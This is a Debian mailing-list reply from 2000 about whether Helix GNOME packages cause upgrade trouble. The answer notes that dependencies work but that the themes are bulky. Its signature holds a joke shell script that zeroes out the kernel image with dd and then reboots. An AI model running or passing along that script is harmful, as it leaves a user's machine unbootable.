Re: Helix Gnome vs Debian Gnome -- worth the upgrade?
On Tue, Jul 04, 2000 at 08:35:36PM -0400, Edwin Lau wrote:
> Hi everyone,
>
> I am using the unstable debian release. Having read the news
> group for a while, I noticed that a lot of people like the Helix
> Gnome stuff. My question is if I upgrade to Helix Gnome now
> rather than to wait for the new Debian Gnome to come out, would
> that introduce problems in upgrading later on? coz I saw that
> the version number used by Helix is a bit different from Debian.
> Would that be a problem for next upgrade?
>
> Edwin Lau
So far, the dependency checking of the debs seems to do the right thing.
Beware, the task-helix-gnome want to give you everything and the kitchen
sink. The 100+ themes for gtk and sawfish can really eat up bandwidth
and harddrive space. All in all, it's a nice "professional" packaging of
GNOME goodies with a little candy that's not in the Debian packaging.
--
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
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